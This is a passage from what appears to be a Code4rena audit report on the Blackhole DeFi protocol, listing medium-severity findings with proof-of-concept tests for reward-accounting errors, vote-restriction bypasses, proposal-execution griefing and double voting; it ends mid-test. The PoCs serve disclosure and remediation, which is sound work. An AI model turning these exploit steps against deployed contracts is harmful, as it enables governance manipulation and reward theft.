        // Set up mock Voter to return mock VE
        await mockVoter.setVe(mockVe.address);

        // Set up mock GaugeManager to return minter
        await mockGaugeManager.setMinter(mockMinter.address);

        // Set initial active period
        await mockMinter.setActivePeriod(Math.floor(Date.now() / 1000));

        // Deploy BribeFactoryV3 as upgradeable
        const BribeFactoryV3 = await
ethers.getContractFactory("BribeFactoryV3");
        bribeFactory = await upgrades.deployProxy(BribeFactoryV3, [
            mockVoter.address,
            mockGaugeManager.address,
            permissionsRegistry.address,
            mockTokenHandler.address
        ], { initializer: 'initialize' });
        await bribeFactory.deployed();

        // Create a bribe contract
        const tx = await bribeFactory.createBribe(
            owner.address,
            mockToken.address,
            mockToken.address,
            "test"
        );
        const receipt = await tx.wait();

        // Get the bribe address from the factory's last_bribe variable
        const bribeAddress = await bribeFactory.last_bribe();
        bribe = await ethers.getContractAt("Bribe", bribeAddress);
```

```
        // Add some tokens to the bribe contract
        const amount = ethers.utils.parseEther("1000");
        await mockToken.mint(bribeAddress, amount);
    });

    describe("recoverERC20AndUpdateData", function () {
        it("Should demonstrate bug in recoverERC20AndUpdateData", async
function () {
            // Get initial token rewards per epoch
            const epochStart = await bribe.getEpochStart();
            const initialRewards = await
bribe.tokenRewardsPerEpoch(mockToken.address, epochStart);

            // Call recoverERC20AndUpdateData through the factory
            const recoveryAmount = ethers.utils.parseEther("100");
            await bribeFactory.recoverERC20AndUpdateData(
                [bribe.address],
                [mockToken.address],
                [recoveryAmount]
            );

            // Get final token rewards per epoch
            const finalRewards = await
bribe.tokenRewardsPerEpoch(mockToken.address, epochStart);

            // This fails because the factory uses emergencyRecoverERC20,
which does not update rewards

expect(finalRewards).to.equal(initialRewards.sub(recoveryAmount),
                "Token rewards per epoch should be updated but weren't");
        });
    });
});
```

Test Result: The test fails with the following error, confirming the bug:

```
AssertionError: Expected "0" to be equal -100000000000000000000
+ expected - actual

 {
-  "_hex": "-0x056bc75e2d63100000"
+  "_hex": "0x00"
   "_isBigNumber": true
```

```
    }
```

Explanation:

The test expects `tokenRewardsPerEpoch` to decrease by `100 ether` after calling `recoverERC20AndUpdateData` on `BribeFactoryV3`. However, because `emergencyRecoverERC20` is called instead, `tokenRewardsPerEpoch` remains unchanged (`0`), causing the test to fail.

This demonstrates that the incorrect function call in `BribeFactoryV3` skips the critical update to `tokenRewardsPerEpoch`, leading to potential reward over-distribution.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss, lonelybones and maxvzuvex.

The sponsor team requested that the following note be included:

This issue originates from the upstream codebase, inherited from ThenaV2 fork. Given that ThenaV2 has successfully operated at scale for several months without incident, we assess the severity of this issue as low. The implementation has been effectively battle-tested in a production environment, which significantly reduces the practical risk associated with this finding. Reference: https://github.com/ThenafiBNB/THENA-Contracts/blob/main/contracts/factories/BribeFactoryV3.sol#L199

[M-12] Epoch voting restrictions bypassed via `deposit_for()` for blacklisted/non-whitelisted `tokenID`s

Submitted by rayss

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/VoterV3.sol#L174

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/VotingEscrow.sol#L816

Finding description and impact

The vote function in VoterV3.sol restricts voting after the epoch ends, allowing only whitelisted `tokenIds` (NFTs) or those meeting specific conditions (i.e., `IAutoVotingEscrowManager(avm).tokenIdToAVMId(_tokenId) == 0`) to continue voting. However, this restriction can be bypassed because the `deposit_for` function, which internally calls poke—does not enforce these same checks. As a result, even holders of non-whitelisted or blacklisted `tokenIds` can call `deposit_for` after the epoch has ended. While

this does not allow them to vote for new pools, it does let them increase the weight of their existing votes (i.e., the pools they had previously voted for) if their NFT balance has increased. This effectively constitutes a form of post-epoch voting and undermines the intended voting restrictions.

Since poke recalculates voting power based on the current NFT balance (`uint256 _weight = IVotingEscrow(_ve).balanceOfNFT(_tokenId);`), a user's voting weight can increase if their NFT balance increases (which they can do by depositing). This allows them to effectively circumvent the protocol's intended epoch-based voting restrictions and manipulate vote weights after the voting window closesons.

Proof of Concept

1. Epoch ends: The protocol's voting period finishes, and the vote function stops accepting new votes from non-whitelisted `tokenIds`.
2. User with non-whitelisted NFT: Alice holds an NFT that is not whitelisted (i.e., blacklisted) and thus can't vote through the vote function anymore.
3. Alice calls `deposit_for()`: Although the epoch has ended and she cannot vote for new pools, Alice calls the `deposit_for` function with her NFT's tokenId and passes an amount. This function internally triggers poke, which updates her vote weights.
4. Boosting vote weights: This allows Alice to increase the weight of her existing votes (to previously selected pools). Additionally, Alice could strategically vote with minimal weights to multiple pools during the active epoch, and then after the epoch ends, call `deposit_for()` to amplify those votes using her updated (larger) NFT balance—bypassing intended vote limitations (e.g, The epoch ends).
5. Votes updated: The protocol accepts the recalculated vote weights, allowing Alice to affect governance decisions even after the official voting period has ended.
6. Poking should be only allowed when epoch is active.

Impact

- Users with non-whitelisted or blacklisted NFTs can bypass epoch restrictions by using the poke function after the epoch period ends.
- Unauthorized vote recasting allows these users to increase their voting power outside the designated voting window.
- Malicious actors could unfairly influence governance proposals beyond intended timeframes.

Severity Justification

Access control is broken. This issue is of medium severity because it enables users to bypass the core voting restrictions enforced by the protocol. The `vote()` function is designed to block votes after the epoch ends unless specific conditions are met (such as the NFT being whitelisted or having no AVM mapping). However, the `poke()` function lacks these same restrictions, allowing users (including those with blacklisted or ineligible NFTs) to recast votes even after the epoch has concluded. Since `poke()` recalculates vote weights based on the current balance of the NFT, users can amplify their voting power post-deadline by increasing their NFT balance and calling `deposit_for()`, which calls poke. This undermines the intended finality of the voting period, introduces inconsistent access control, and opens the door for manipulation of governance outcomes.

Recommended mitigation steps

Implement the same epoch and whitelist checks in the poke function as in the vote function to prevent unauthorized vote recasting after the epoch ends.

Blackhole disputed

[M-13] EIP-712 domain type hash mismatch breaks signature-based delegation

Submitted by newspacexyz

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/VotingEscrow.sol#L1205

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/VotingEscrow.sol#L1327-L1335

Finding description

There is a mistake in how the `DOMAIN_TYPEHASH` constant is defined and used in the `VotingEscrow` contract.

```
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string
name,uint256 chainId,address verifyingContract)");
```

However, when building the domain separator, the contract includes an additional parameter:

```
bytes32 domainSeparator = keccak256(
    abi.encode(
```

```
            DOMAIN_TYPEHASH,
            keccak256(bytes(name)),
            keccak256(bytes(version)),
            block.chainid,
            address(this)
        )
    );
```

The problem is that the `DOMAIN_TYPEHASH` does **not** include the `version` parameter, but the contract still tries to encode it. This creates a mismatch between the type hash and the actual encoding, which will lead to incorrect `digest` hashes when signing or verifying messages.

Impact

- Users will be unable to sign or verify messages using the EIP-712 delegation feature.
- Delegation by signature (`delegateBySig`) will always fail due to signature mismatch.
- Governance features relying on off-chain signatures will break.

Recommended mitigation steps

Update the `DOMAIN_TYPEHASH` to include the `version` field so that it matches the data structure used in the actual `domainSeparator`:

```
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
```

This change ensures the type hash includes all the fields being encoded and fixes the signature validation logic.

Blackhole marked as informative

Governor

Medium Risk Findings (9)

[M-14] Checkpoints are incorrectly cleared during `transferFrom`

Submitted by rashmor

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/libraries/VotingDelegationLib.sol#L46-L110

Finding description and impact

In the `VotingEscrow` contract, the `transferFrom` function delegates to `_transferFrom`, which in turn calls `moveTokenDelegates` from `VotingDelegationLib`. This function is responsible for updating historical checkpoints that track which token IDs were delegated to which addresses.

During this process, a flaw occurs in the cleanup logic for the source representative (`srcRep`). Specifically, when `_isCheckpointInNewBlock == false`, the function attempts to mutate the existing checkpoint array (`srcRepNew`) in-place by removing any token ID that no longer belongs to `srcRep`:

```
if (ownerOfFn(tId) != srcRep) {
    srcRepNew[i] = srcRepNew[length - 1];
    srcRepNew.pop();
    length--;
} else {
    i++;
}
```

The problem arises because, by the time `moveTokenDelegates` is called, the `transferFrom` flow has already invoked `_removeTokenFrom()`, which sets the owner of the token being transferred to `address(0)`. As a result, `ownerOfFn(tId)` will return `0x0` for the token being transferred.

This means the above condition (`ownerOfFn(tId) != srcRep`) will always be true for the token that was just transferred out, causing it to be removed from `srcRepNew`. But due to the in-place mutation without incrementing `i`, the same index is checked again after every pop, potentially skipping or corrupting the loop's behavior basically clearing all checkpoints. This breaks the whole logic of checkpoints and other functions, depending on it.

Recommended mitigation steps

This is not the only vulnerability in this function, it may be appropriate to rewrite the whole logic.

Proof of Concept

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Black} from "../src/Black.sol";
```

```
import {VotingEscrow} from "../src/VotingEscrow.sol";
import {BlackGovernor} from "../src/BlackGovernor.sol";
import {IBlackHoleVotes} from "../src/interfaces/IBlackHoleVotes.sol";
import {MinterUpgradeable} from "../src/MinterUpgradeable.sol";
import {GaugeManager} from "../src/GaugeManager.sol";
import {VotingDelegationLib} from
"../src/libraries/VotingDelegationLib.sol";

contract MockContractDelegates {
    VotingDelegationLib.Data cpData;
    address public fromOwner;
    address public toOwner;
    address public fromDelegate;
    address public toDelegate;

    mapping(uint256 => address) public idToOwner;

    constructor(address _fromOwner, address _toOwner, address
_fromDelegate, address _toDelegate) {
        fromOwner = _fromOwner;
        toOwner = _toOwner;
        fromDelegate = _fromDelegate;
        toDelegate = _toDelegate;
    }

    function useMoveTokenDeledates(uint256 tokenId) public {
        idToOwner[tokenId] = address(0);
        VotingDelegationLib.moveTokenDelegates(cpData, fromOwner,
toOwner, tokenId, ownerOf);
    }

    function ownerOf(uint256 tokenId) public view returns (address) {
        return idToOwner[tokenId];
    }

    function modifyData(
        address addr,
        uint32 num,
        VotingDelegationLib.Checkpoint memory checkpoint,
        uint32 numCheckpoints
    ) public {
        cpData.checkpoints[addr][num] = checkpoint;
        cpData.numCheckpoints[addr] = numCheckpoints;
    }
```

```
    function showData(address addr, uint32 num) public view returns
(VotingDelegationLib.Checkpoint memory) {
        return cpData.checkpoints[addr][num];
    }

    function showNumberOfCheckPoints(address addr) public view returns
(uint32) {
        return cpData.numCheckpoints[addr];
    }
}

contract MyTest3 is Test {
    MockContractDelegates public contractDelegates;

    address public owner = makeAddr("owner");
    address public alice = makeAddr("alice");
    address public aliceDelegate = makeAddr("aliceDelegate");
    address public bob = makeAddr("bob");
    address public bobDelegate = makeAddr("bobDelegate");

    function setUp() public {
        vm.warp(block.timestamp + 1000);
        vm.startPrank(owner);
        contractDelegates = new MockContractDelegates(alice, bob,
aliceDelegate, bobDelegate);
        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;
        VotingDelegationLib.Checkpoint memory checkpoint =
            VotingDelegationLib.Checkpoint({timestamp: block.timestamp,
tokenIds: tokenIds});
        contractDelegates.modifyData(alice, 0, checkpoint, 1);
        vm.stopPrank();
    }

    function test__someTest3() public {
        vm.warp(block.timestamp + 100);
        vm.startPrank(alice);
        contractDelegates.useMoveTokenDeledates(1);
        vm.stopPrank();
        vm.warp(block.timestamp + 100);
        vm.startPrank(alice);
        contractDelegates.useMoveTokenDeledates(2);
        vm.stopPrank();
```

```
console.log("ALICEs tokens:");
        logCheckpointTokenIds(contractDelegates.showData(alice, 1));
        logCheckpointTokenIds(contractDelegates.showData(alice, 2));

console.log("BOBs tokens:");

        logCheckpointTokenIds(contractDelegates.showData(bob, 1));

        // alice was supposed to have token 3 left in checkpoint, but she
does not

//   ALICEs tokens:

        //   BOBs tokens:
        //   Token ID 1
        //   Token ID 2
    }

    function logCheckpointTokenIds(VotingDelegationLib.Checkpoint memory
cp) internal view {
        uint256 len = cp.tokenIds.length;
        for (uint256 i = 0; i < len; i++) {
            console.log("Token ID", cp.tokenIds[i]);
        }
    }
}
```

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from lonelybones, rayss and maxvzuvex.

[M-15] `L2Governor.execute()` accepts `Expired` / `Defeated` proposals, attacker front-runs `BlackGovernor nudge()`, blocks legitimate emission-rate votes, freezes tail emissions

Submitted by lonelybones, also found by danzero, francoHacker, harsh123, mahadev, Pocas, and Rorschach

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L317-L320

Finding description

The `L2Governor.execute()` function (in `contracts/governance/L2Governor.sol`, inherited by `BlackGovernor.sol`) erroneously permits execution of `Expired` or `Defeated` proposals. An

attacker can exploit this by executing an `Expired` proposal targeting `MinterUpgradeable.nudge()`. This action, due to a quirk in `nudge()`'s status interpretation, sets a one-time-per-epoch flag, thereby blocking a legitimately Succeeded emission-change proposal for the same period and subverting voter consensus on tail emission rates.

The root cause is an overly permissive state check in `L2Governor.execute()`:

File: `contracts/governance/Governor.sol#L317-L320` (within `L2Governor.execute()`)

```
        require(status == ProposalState.Succeeded || status ==
ProposalState.Defeated || status == ProposalState.Expired, /* ... */ );
// <<< FLAW
```

This allows non-Succeeded proposals to proceed to execution. BlackGovernor.sol inherits this, and its `propose()` function restricts targets to `MinterUpgradeable.nudge()`.

The `MinterUpgradeable.nudge()` function contains a one-time-per-epoch guard (`require(!proposals[_period], ...); proposals[_period] = true;`). When `nudge()` is called via the flawed `execute()`, its call to `IBlackGovernor.status()` (no args) reads the `L2Governor.status` public state variable (defaulting to `ProposalState.Pending - 0`). Consequently, `nudge()` always takes its "no change" branch for `tailEmissionRate` and sets the `proposals[_period]` flag.

Impact

An attacker exploits this by front-running the execution of a Succeeded BlackGovernor proposal (for `Minter.nudge()`) with an `Expired` one for the same target emission period.

Emission rate manipulation: The attacker forces the BLACK token's tail emission rate trend to "no change," overriding voter consensus (e.g., for an increase or decrease).

Governance subversion: Legitimate, Succeeded proposals for `Minter.nudge()` for that epoch are rendered un-executable because the `proposals[active_period]` flag in `MinterUpgradeable` has already been set by the attacker's transaction.

Low cost, significant consequence: Any account can execute an Expired proposal, impacting a core tokenomic control mechanism. This leads to misaligned emission rates compared to voter intent, affecting rewards for LPs and veBLACK holders.

Proof of Concept

A detailed Hardhat test script (`test/GovernorExecuteGrief.test.js`) demonstrating this vulnerability using the project's in-scope contracts has been developed and verified.

Key PoC steps summary:

- **Setup:** Deployed BlackGovernor, MinterUpgradeable, and all necessary dependencies. Advanced Minter to its tail emission phase. Proposer created `PROP_EXPIRED` and `PROP_SUCCEED` targeting `Minter.nudge()` for the same future emission period.
- **State transitions:** `PROP_EXPIRED` reached state Expired (6). `PROP_SUCCEED` was voted to state Succeeded (4).
- **Exploitation:** Attacker executed `PROP_EXPIRED`. This called `Minter.nudge()`, which set `proposals[target_period] = true` and `tailEmissionRate` to "no change."
- **Verification:** A subsequent attempt to execute `PROP_SUCCEED` reverted (due to `Minter.nudge()`'s guard), blocking the intended emission rate change.

Recommended Mitigation Steps

- Correct `L2Governor.execute()` state check: Modify `contracts/governance/Governor.sol#L317-L320` to only allow execution of Succeeded proposals:

```
// In contracts/governance/Governor.sol L2Governor.execute()
        require(
-           status == ProposalState.Succeeded || status ==
ProposalState.Defeated || status == ProposalState.Expired,
-           "Governor: proposal not successful or defeated"
+           status == ProposalState.Succeeded,
+           "Governor: proposal not Succeeded"
        );
```

- Enhance `MinterUpgradeable.nudge()`: The `nudge()` function should not re-check proposal status if `L2Governor.execute()` is fixed. If status checking is still desired for some reason, it must be passed the `proposalId` to correctly query `BlackGovernor.state(proposalId)`.

Coded Proof of Concept

▶ Details

Expected trace:

```
npx hardhat test test/GovernorExecuteGrief.test.js

BlackGovernor - Griefing Attack via Flawed L2Governor.execute()
Starting beforeEach: Deploying ALL REAL in-scope contracts...
  Libraries deployed (VBL, VFL).
  Black token deployed.
```

```
  Black token initialMint called by deployer.
  PermissionsRegistry deployed.
  GAUGE_ADMIN role granted to deployer.
  GOVERNANCE role granted to deployer.
  TokenHandler deployed.
  VotingEscrow deployed.
  RewardsDistributor deployed.
  PairFactory (proxy) deployed.
  AlgebraPoolAPIStorage (proxy) deployed.
  Gauge Factories deployed.
Warning: Potentially unsafe deployment of
contracts/GaugeManager.sol:GaugeManager

    You are using the `unsafeAllow.external-library-linking` flag to
include external libraries.
    Make sure you have manually checked that the linked libraries are
upgrade safe.

  GaugeManager (proxy) deployed.
  VoterV3 (proxy) deployed.
  BribeFactoryV3 (proxy) deployed.
  MinterUpgradeable (proxy) deployed.
  Black token minter changed to MinterUpgradeable.
  BlackGovernor deployed and proposalNumerator set to 0.
Preparing proposer and voters...
  Proposer smNFT lock created.
  smVoter1 smNFT created.
  smVoter2 smNFT created.
  End of beforeEach: Proposer smNFT Votes (current ts): 2200.0 BLACK
  End of beforeEach: VE TotalSupply (current ts): 3300.0 BLACK
  End of beforeEach: BlackGovernor Threshold (current ts, numerator 0):
0.0 BLACK
Advancing Minter to Tail Emission phase...
  MinterUpgradeable._initialize() called or already handled.
  Initial Minter weekly for tail phase: 10000000.0, TAIL_START: 8969150.0
  Minter internal epochCount before loop: 0
Minter in Tail Emission. Minter epochCount: 66, Weekly:
8969149.540107574558747588
beforeEach setup complete.
Proposing PROP_EXPIRED...
  Proposer EOA: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
  Block number for PROP_EXPIRED getVotes snapshot: 185
  Proposer's votes for PROP_EXPIRED (using block num as ts): 0.0
  Proposal Threshold for PROP_EXPIRED (using current ts): 0.0
Proposing PROP_SUCCEED...
```

```
  epochTimeHash_Expired:
0x0000000000000000000000000000000000000000000000006839eb18
  epochTimeHash_Succeed:
0x0000000000000000000000000000000000000000000000006839ee9c
Advancing time for PROP_EXPIRED to expire...
PROP_EXPIRED is Expired.
Voting for PROP_SUCCEED...
Votes cast for PROP_SUCCEED.
PROP_SUCCEED is Succeeded.
Advancing Minter to a new active period for nudge...
Attacker executing Expired Proposal ID:
9566359538738423113937356155507892459646591942779502907296112254192947125
8304 for Minter period 1748628000
Expired proposal executed by attacker, nudge flag set for period. Tail
rate unchanged.
Attempting to execute Succeeded Proposal ID:
2818157228772367432214296955187059187016058853569056774032727839418750134
3944 for Minter period 1748628000
Succeeded proposal blocked by attacker's action as expected.
    ✔ should allow attacker to execute an Expired proposal to grief
Minter.nudge() and block a Succeeded proposal (141ms)

1 passing (3s)
```

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss.

[M-16] `getVotes` inside the `BlackGovernor` incorrectly provides `block.number` instead of `block.timestamp`, leading to complete DOS of proposal functionality

Submitted by hakunamatata, also found by Egbe

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/BlackGovernor.sol#L95-L107

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L268-L271

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L414-L416

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L746-L753

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/VotingEscrow.sol#L1263-L1279

Finding description and impact

Whenever user is making a proposal inside the `BlackGovernor`, the contract checks whether their voting power meets the proposal threshold. However, this check is copied from the `ThenaFi` contracts which is incorrect. I disclosed the vulnerability to the `ThenaFI` team, however, the bug is not present in the live contracts as `ThenaFI` team has informed me.

The check is incorrect as it passes the `(block.number - 1)` to the `getVotes` function that expects timestamp:

```
function  _proposal(

address[] memory targets,

uint256[] memory values,

bytes[] memory calldatas,

string  memory description

) internal virtual returns (uint256) {

//@audit CRITICAL getVotes expects timestamp and calls getsmNFTPastVotes
that also expects timestamp

require(
getVotes(_msgSender(), block.number - 1) >= proposalThreshold(),

"Governor: proposer votes below proposal threshold"

);
```

We can see from the code that function calls `getVotes`, providing block number instead of timestamp, which calls `getsmNFTPastVotes` that expects timestamp and will check checkpoint that is "closest" (not exactly it's a mental shortcut) to the provided timestamp which will be `blocknumber - 1` in this case.

As `block.number` is way smaller than `block.timestamp` the check of proposal threshold will always revert leading to DOS of proposal functionality. This is due to the fact that it will check the voting power at the timestamp that is even before the project has launched (because `block.number` is way smaller than the `block.timestamp`).

This bug prevents all proposals from being created, which breaks core governance functionality. Given its impact and the fact that it can occur under normal usage without any external trigger,I believe this qualifies as a High severity issue.

Recommended mitigation steps

Change `block.number` to `block.timestamp`.

Proof of Concept

This POC is written in foundry, in order to run it, one has to create foundry project, download dependencies, create remappings and change imports in some of the file to look inside the "src" folder

This POC shows that even if user meets threshold proposal, due to incorrect value passed to getVotes the call reverts. If one would change the `block.number` to `block.timestamp`. The proposal call does not revert.

```
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Black} from "../src/Black.sol";
import {MinterUpgradeable} from "../src/MinterUpgradeable.sol";
import {RewardsDistributor} from "../src/RewardsDistributor.sol";
import {PermissionsRegistry} from "../src/PermissionsRegistry.sol";
import {TokenHandler} from "../src/TokenHandler.sol";
import {VoterV3} from "../src/VoterV3.sol";
import {VotingEscrow} from "../src/VotingEscrow.sol";
import {AutoVotingEscrowManager} from
"../src/AVM/AutoVotingEscrowManager.sol";
import {GaugeManager} from "../src/GaugeManager.sol";
import {PairGenerator} from "../src/PairGenerator.sol";
import {GaugeFactory} from "../src/factories/GaugeFactory.sol";
import {PairFactory} from "../src/factories/PairFactory.sol";
import {GaugeFactoryCL} from "../src/AlgebraCLVe33/GaugeFactoryCL.sol";
import {BlackGovernor} from "../src/BlackGovernor.sol";
import {IBlackHoleVotes} from "../src/interfaces/IBlackHoleVotes.sol";
import {IMinter} from "../src/interfaces/IMinter.sol";

contract GovernanceProposeRevertTest is Test {
    Black public black;
    RewardsDistributor public rewardsDistributor;
    MinterUpgradeable public minterUpgradeable;
    PermissionsRegistry public permissionsRegistry;
    TokenHandler public tokenHandler;
```

```
    AutoVotingEscrowManager public avm;
    VotingEscrow public votingEscrow;
    VoterV3 public voter;
    GaugeManager public gaugeManager;
    GaugeFactory public gaugeFactory;
    PairGenerator public pairGenerator;
    PairFactory public pairFactory_1;
    PairFactory public pairFactory_2CL;
    GaugeFactoryCL public gaugeFactoryCL;
    BlackGovernor public blackGovernor;
    address admin = address(0xAD);
    address protocol = address(0x1);
    address userA = address(0xA);
    address userB = address(0xB);
    function setUp() public {
        vm.startPrank(admin);

        black = new Black();
        permissionsRegistry = new PermissionsRegistry();
        string memory GARole = string(bytes("GAUGE_ADMIN"));
        permissionsRegistry.setRoleFor(admin, GARole);
        tokenHandler = new TokenHandler(address(permissionsRegistry));
        voter = new VoterV3();//needs to be initialized
        avm = new AutoVotingEscrowManager();//needs to be initialized
        votingEscrow = new VotingEscrow(address(black), address(0),
address(avm));

        rewardsDistributor = new
RewardsDistributor(address(votingEscrow));

        gaugeFactoryCL = new GaugeFactoryCL();
        gaugeFactoryCL.initialize(address(permissionsRegistry));

        gaugeFactory = new GaugeFactory();
        pairGenerator = new PairGenerator();
        pairFactory_1 = new PairFactory();
        pairFactory_1.initialize(address(pairGenerator));
        pairFactory_2CL = new PairFactory();
        pairFactory_2CL.initialize(address(pairGenerator));

gaugeManager = new GaugeManager();
        gaugeManager.initialize(address(votingEscrow),
address(tokenHandler),address( gaugeFactory),address( gaugeFactoryCL),
address(pairFactory_1), address(pairFactory_2CL),
address(permissionsRegistry));
```

```
        avm.initialize(address(votingEscrow),address(voter),
address(rewardsDistributor));

        minterUpgradeable = new MinterUpgradeable();
        minterUpgradeable.initialize(address(gaugeManager),
address(votingEscrow), address(rewardsDistributor));

        blackGovernor = new BlackGovernor(IBlackHoleVotes(votingEscrow),
address(minterUpgradeable));
        gaugeManager.setBlackGovernor(address(blackGovernor));

        voter = new VoterV3();
        voter.initialize(address(votingEscrow), address(tokenHandler),
address(gaugeManager), address(permissionsRegistry));

rewardsDistributor.setDepositor(address(minterUpgradeable));
        gaugeManager.setVoter(address(voter));
        gaugeManager.setMinter(address(minterUpgradeable));
        black.mint(admin, 10_000_000e18);
        black.setMinter(address(minterUpgradeable));

vm.stopPrank();
    }

    function test_proposeRevertGetVote() public {
        vm.startPrank(admin);
        address[] memory claimants;
        uint[] memory amounts;

        minterUpgradeable._initialize(claimants, amounts, 0);//zero %
ownership of top protcols
        uint userABal = 1_000_000e18;
        black.transfer(userA, userABal);

        vm.stopPrank();
        vm.startPrank(userA);
        black.approve(address(votingEscrow), type(uint).max);
        votingEscrow.create_lock(1_000_000e18, 4 * 365 days, true);

        skip(3600);
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        bytes[] memory calldatas = new bytes[](1);
        targets[0] = address(minterUpgradeable);
        values[0] = 0;
        calldatas[0] = abi.encodeWithSelector(IMinter.nudge.selector);
```

```
                vm.expectRevert( "Governor: proposer votes below proposal
threshold");
        uint proposalId = blackGovernor.propose(
            targets,
            values,
            calldatas,
            "Nudge proposal"
        );

}
}
```

[Blackhole mitigated]

Status: Mitigation confirmed. Full details in reports from [rayss], [lonelybones] and [maxvzuvex].

The sponsor team requested that the following note be included:

This issue originates from the upstream codebase, inherited from ThenaV2 fork. Given that ThenaV2 has successfully operated at scale for several months without incident, we assess the severity of this issue as low. The implementation has been effectively battle-tested in a production environment, which significantly reduces the practical risk associated with this finding. Reference: https://github.com/ThenafiBNB/THENA-Contracts/blob/main/contracts/governance/Governor.sol#L256

[M-17] Users can cast their votes multiple times for the proposal by transferring their nfts and then voting again

Submitted by [hakunamatata]

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L534-L554

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/VotingEscrow.sol#L1263-L1279

Finding description and impact

In the `BlackGovernor` contract users can cast their vote on the proposal. The requirements to cast the vote are that proposal has to be active, and the `msg.sender` has not voted on the proposal. The voting power is determined by the balance of it's smNFT locked position at the time of `voteStart`.

This introduces serious vulnerability where users can cast their vote at `voteStart` timestamp, immediately send their nft using `transferFrom` to another address which they control and `castVote` again. Malicious users can repeat this process they run out of gas.

One of the reasons that this issue persists is that the code does not utilize ownership change mapping inside the `VotingEscrow` contract. Because it's so easy to `castVote` send to another address (which would be contract) and `castVote` again, leading to complete disruption of voting process, I believe it is High Severity finding.

This is code snippet of `castVote` function that shows that there is no verification whether particular nft has been used to vote.

```
function  _castVote(

uint256 proposalId,

address account,

uint8 support,

string  memory reason,

bytes  memory params

) internal virtual returns (uint256) {

ProposalCore  storage proposal = _proposals[proposalId];

require(

state(proposalId) == ProposalState.Active,

"Governor: vote not currently active"

);

uint256 weight = _getVotes(

account,

proposal.voteStart.getDeadline(),

params

);

_countVote(proposalId, account, support, weight, params);

if (params.length == 0) {
```

```
emit  VoteCast(account, proposalId, support, weight, reason);

} else {

emit  VoteCastWithParams(

account,

proposalId,

support,

weight,

reason,

params

);

}

return weight;

}
```

Recommended mitigation steps

Perform a check just like in `VotingEscrow::balanceOfNFT` whether ownership was changed in the current block number.

Proof of Concept

This POC is written in foundry, in order to run it, one has to create foundry project, download dependencies, create remappings and change imports in some of the file to look inside the "src" folder

The POC is the simple version of the finding, in order to run it one has to first change the code of the Governor, so that other vulnerability in the code is fixed, as without that change proposals DO NOT WORK. Look at the `getVotes` **inside the** `BlackGovernor` **incorrectly provides** `block.number` **instead of** `block.timestamp`**, leading to complete DOS of proposal functionality** finding.

This POC is not perfect, as it utilizes also vulnerability found in `getsmNFTPastVotes` (finding that if provided timestamp to the function is smaller than the timestamp of the first

checkpoint, function evaluates `tokenIds` from the first checkpoint) that is also submitted. However, if one would create a contract that casts a vote at `voteStart` timestamp, transfers NFT to another attacker controlled smart contract, the outcome will be the same.

```
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Black} from "../src/Black.sol";
import {MinterUpgradeable} from "../src/MinterUpgradeable.sol";
import {RewardsDistributor} from "../src/RewardsDistributor.sol";
import {PermissionsRegistry} from "../src/PermissionsRegistry.sol";
import {TokenHandler} from "../src/TokenHandler.sol";
import {VoterV3} from "../src/VoterV3.sol";
import {VotingEscrow} from "../src/VotingEscrow.sol";
import {AutoVotingEscrowManager} from
"../src/AVM/AutoVotingEscrowManager.sol";
import {GaugeManager} from "../src/GaugeManager.sol";
import {PairGenerator} from "../src/PairGenerator.sol";
import {GaugeFactory} from "../src/factories/GaugeFactory.sol";
import {PairFactory} from "../src/factories/PairFactory.sol";
import {GaugeFactoryCL} from "../src/AlgebraCLVe33/GaugeFactoryCL.sol";
import {BlackGovernor} from "../src/BlackGovernor.sol";
import {IBlackHoleVotes} from "../src/interfaces/IBlackHoleVotes.sol";
import {IMinter} from "../src/interfaces/IMinter.sol";

contract DoubleVoteTest is Test {
    Black public black;
    RewardsDistributor public rewardsDistributor;
    MinterUpgradeable public minterUpgradeable;
    PermissionsRegistry public permissionsRegistry;
    TokenHandler public tokenHandler;
    AutoVotingEscrowManager public avm;
    VotingEscrow public votingEscrow;
    VoterV3 public voter;
    GaugeManager public gaugeManager;
    GaugeFactory public gaugeFactory;
    PairGenerator public pairGenerator;
    PairFactory public pairFactory_1;
    PairFactory public pairFactory_2CL;
    GaugeFactoryCL public gaugeFactoryCL;
    BlackGovernor public blackGovernor;
    address admin = address(0xAD);
    address protocol = address(0x1);
    address userA = address(0xA);
    address userB = address(0xB);
```

```
    function setUp() public {
        vm.startPrank(admin);

        black = new Black();
        permissionsRegistry = new PermissionsRegistry();
        string memory GARole = string(bytes("GAUGE_ADMIN"));
        permissionsRegistry.setRoleFor(admin, GARole);
        tokenHandler = new TokenHandler(address(permissionsRegistry));
        voter = new VoterV3();//needs to be initialized
        avm = new AutoVotingEscrowManager();//needs to be initialized
        votingEscrow = new VotingEscrow(address(black), address(0),
address(avm));

